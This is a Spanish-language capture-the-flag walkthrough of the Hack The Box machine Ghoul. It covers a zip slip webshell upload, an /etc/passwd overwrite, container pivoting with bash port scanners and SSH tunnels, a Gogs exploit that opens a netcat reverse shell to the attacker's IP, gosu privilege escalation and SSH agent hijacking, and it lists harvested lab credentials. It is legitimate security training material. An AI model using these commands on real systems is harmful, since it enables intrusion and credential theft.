creep33

creep33

OSCP, BSCP, OSWP, eJPT
Cybersecurity Analyst && Pentester

HTB-Ghoul

 

IP -> 10.10.10.101

Reconocimiento

Nmap

Utilizamos nmap y obtenemos los siguientes resultados.

Ghoul Nmap Result

http(80,8080)

Con nmap utilizamos el script http-enum para fuzzear rutas. Pero no descubre nada

Con whatweb escaneamos los servicios.

80: Servicio Apache 8080: 401 Unauthorized -> Necesitamos credenciales

http (80)

Con CeWl nos montamos un diccionario con las palabras que aparecen en la web. Fuzzeamos rutas con herramientas como wfuzz o gobuster.

/css /images -> 403 Forbbiden /js /archives -> 403 Forbbiden /users -> Login Panel /uploads -> 403 Forbbiden

Como vemos recursos en php, buscamos archivos con extensión “php”.

secret.php -> Chat con una posible contraseña.

http (8080)

Probamos credenciales por defecto.

USER: admin PASS: admin

Tenemos paneles de subida de “imagenes” y archivos “zip”.

  • Probamos a subir un php con una webshell

Pero nos reporta que solo acepta imagenes “jpeg”. Vamos a interceptar la petición con Burpsuite para ver como se tramita la petición y modificarla.

  • Subimos una imagen legítima jpeg para ver como se comporta.

Se sube pero no sabemos dónde se suben las imágenes.

  • Con burpsuite modificamos el content type a una imagen jpeg “image/jpeg” para subir la webshell con php.

Pero nos reporta un error. Aunque todavía no sabemos dónde se suben las imágenes. Por otro lado podemos subir un zip, podemos tratar de explotar la vulnerabilidad “zip slip”.

zip slip

Creamos una archivo en el directorio “/var/www/html” para comprimir “../../../../../../../../var/www/html/cmd.php” con una webshell. Al subirlo, como lo descomprime, lo extrae en la ruta que le hemos indicado.

zip cmd.zip ../../../../../../../../var/www/html/cmd.php

Tenemos WebShell

Nos enviamos una reverse shell. Pero nos encontramos en un contenedor.

Container Escape (172.20.0.10)

OS

ls -l

El archivo “cmd.php” lo crea root.

Vamos a sobreescribir el archivo “passwd”, con una contraseña para root.

openssl passwd
hola
hola

Tenemos que crear el archivo passwd malicioso pero antes tenemos que guardar el nuestro jeje.

cp /etc/passwd /etc/passwd.original
rm 
/etc/passwd

nano /etc/passwd

root:PVXo7amSxXehk:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38: Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,, :/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
kaneki:x:1000:1000::/home/kaneki:/bin/bash
Eto:x:1001:1001::/home/Eto:/bin/bash
noro:x:1002:1002::/home/noro:/bin/bash

Volvemos a tirar de la vulnerabilidad zip slip para sobrescribir el passwd del contenedor.

su root
hola

Somo root en el contenedor

cd /home
ls
cd /Eto
cat alert.txt
cd ../kaneki
cat notes
cat user.txt
cd /var/www/html
grep -r -i "password" | head -n 8

Vuln in Gogs Crededentials -> $logins array(‘kaneki’ => ‘123456’, ‘noro’ => ‘password123’, ‘admin’ => ‘abcdef’);

user.txt

http

Probamos a iniciar sesión en el panel de inicio de sesión del puerto 80

OS

Como está utilizando com CMS un Apache Tomcat, buscamos credenciales hardcodeadas en el archivo “users.xml”

Credentials -> <!–<user username=”admin” password=”test@aogiri123” roles=”admin” />

cd /home
find \-name authorized_keys | xargs cat -n
cat kaneki/.ssh/id_rsa

Vemos que hay un host “kaneki-pc” que no es el de la máquina. La clave esta protegida con contraseña

Pero podemos tratar de romperla con ssh2john.py, el john y el rockyou.txt. Pero no consigue extraer la contraseña. Recordamos que tenemos una contraseña de aquel char en secret.php. Consigue romper el hash.

FILE: id_rsa PASS: ILoveTouka

Iniciamos con ssh para poder hacer port-forwarding fácilmente. El usuario “root” tambien tiene una “id_rsa”, y en “authorized_keys” vemos otra vez el hostname “kaneki-pc”. Iniciamos como “root” por ssh. Ahora vamos a por ese equipo. Para encontrarlo vamos a realizar un descubrimiento de hosts desde la máquina víctima.

touch hostDiscovery.sh
chmod +x hostDiscovery.sh
vi hostDiscovery.sh

#!/bin/bash

for i in $(seq 1 254); do
	timeout 1 bash -c "ping -c 1 172.20.0.$i" &>/dev/null && echo -e "[+] 172.20.0.$i - ACTIVE" &
done; wait

./hostDiscovery.sh
hostname -I

172.20.0.150 - OPEN

Ahora vamos a buscar puertos abiertos

touch portDiscovery.sh
chmod +x portDiscovert.sh
vim portDiscovert.sh

#!/bin/bash

for port in $(seq 1 65535); do
	timeout 1 bash -c "echo '' > /dev/tcp/172.20.0.150/$port" 2>/dev/null && echo -e "[+] $port - OPEN" &
done; wait

22 - OPEN

Podemos tratar a conectarnos en la otra máquina con nuestra id_rsa de kaneki. Pero nos pide una clave para id_rsa. Tenemos la clave para la id_rsa. Para conectarnos directamente a la máquina desde nuestra máquina de atacante, hacemos un local port forwarding con ssh hasta nuestro equipo.

En 172.20.0.10:

ssh -i id_rsa kaneki_pub@172.20.0.150 -L 2000:172.20.0.150:22

En localhost:

ssh -i id_rsa root@10.10.10.101 -L 2000:127.0.0.1:2000

Ya tenemos en nuestro equipo un servicio ssh en el puerto 2000 que llega hasta la 172.20.0.150

Container Escape (172.20.0.150, 172.18.0.200)

ls
cat to-do.txt
cd /home
ls -l
cd /
uname -a 
cat /etc/os-release
hostname -I

USER: AogiriTest Ubuntu 18.04.1 LTS Tenemos 2 interfaces y un segento de red nuevo

Volvemos ha hacer reconocimiento de hosts.

touch hostDiscovery.sh
chmod +x hostDiscovery.sh
vi hostDiscovery.sh

#!/bin/bash

for i in $(seq 1 254); do
	timeout 1 bash -c "ping -c 1 172.18.0.$i" &>/dev/null && echo -e "[+] 172.18.0.$i - ACTIVE" &
done; wait

./hostDiscovery.sh

127.18.0.2

Ahora vamos a buscar puertos abiertos

touch portDiscovery.sh
chmod +x portDiscovert.sh
vim portDiscovert.sh

#!/bin/bash

for port in $(seq 1 65535); do
	timeout 1 bash -c "echo '' > /dev/tcp/172.18.0.2/$port" 2>/dev/null && echo -e "[+] $port - OPEN" &
done; wait

22 - OPEN 3000 - OPEN

Vamos a traernos el puerto 3000 a nuestra máquina con ssh

ssh -i id_rsa kaneki_pub@127.0.0.1 -p2000 -L 3000:127.18.0.2:3000

Ya tenemos acceso al gogs

Gogs

Nos piden credenciales de acceso. En el “to-do.txt” teníamos un usuario, y tambien tenemos distintas contraseñas almacenadas, probamos contraseñas para el usuario y entramos.

USER: AogiriTest PASS: test@aogiri123

Como antes hablaban de gogs, buscamos en google “gogs exploit github” y clonamos el repo para enviarnos una reverse shell.

git clone https://github.com/TheZ3ro/gogsownz
cd gogsownz
python3 gogsownz.py -v http:/127.0.0.1:3000/ -C "AogiriTest:test@aogiri123" -n "i_like_gogits" --rce "nc 10.10.14.29 443 -e /bin/bash" --cleanup

Container Escape (172.18.0.2)

OS

Como no podemos hacer un tratamiento de la tty, nos conectamos mediante ssh con el uso de claves id_rsa

id
sudo -l
uname -a
cat /etc/os-release
cd / 
find \-perm -4000 2>/dev/null

Alpine 3.8 gosu es SUID y el propietario es root

gosu root whoami #root
gosu root bash
cd /root
ls
cat session.sh

credenciales -> ‘user_name=kaneki&password=12345ILoveTouka!!!’ 7z file -> Nos lo traemos a nuestro equipo

7z x aogiri-app.7z
cd aogiri-chatapp
git log
git reflog
git show <identifier>

Es un repositorio git

USER: kaneki PASS: jT7Hr$.[nF.)c)4C

USER: root PASS: g_xEN$ZuWD7hJf2G

Probamos las credenciales en la máquina (172.20.0.150) ya que es la única que no hemos rooteado. Y somos root

Container Escape rooted (172.20.0.150, 172.18.0.200)

OS

cd /root
ls 
cat root.txt
cd /tmp
ls
rm -r ssh\*
watch -n 1 ps -faux

Vemos sesiones ssh -> probamos a monitorizar a ver si se gestionas sesiones Vemos que nos crea una sesión a la máquina 127.18.0.1 por ssh como root -> Podemos hacer un agent hijacking

cd ssh-\*
ls # agent.896
SSH_AUTH_SOCK=agent.896 ssh root@172.18.0.1 -p 2222

172.18.0.1

cd /root
cat root.txt

root.txt

Information

Este archivo se ha ido creando durante todo el proceso de resolución de la máquina, es una buena práctica cuando nos enfrentamos a contenedores y varias IP, para ir monitorizándo

172.20.0.1
172.20.0.10 (PWNED) (rooted)
172.20.0.150 (22/tcp) (PWNED) (rooted)
	172.18.0.200 (172.20.0.150)
	127.18.0.1
	127.18.0.2 (22/tcp, 3000/tcp) (PWNED) (rooted)

Tags:

Categories:

Updated: